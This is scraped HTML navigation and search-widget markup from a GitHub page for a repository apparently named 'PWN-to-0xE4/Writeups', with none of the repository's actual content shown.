<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="267159226" data-scoped-search-url="/PWN-to-0xE4/Writeups/search" data-owner-scoped-search-url="/orgs/PWN-to-0xE4/search" data-unscoped-search-url="/search" data-turbo="false" action="/PWN-to-0xE4/Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="5neH4DidS7/lX0uMLVwONDu56w8yf0o3lKJy436t+pnt5u3MOqgvsTGzZC+DOeMPxES33XSmjnGHz2gDtfJRsQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
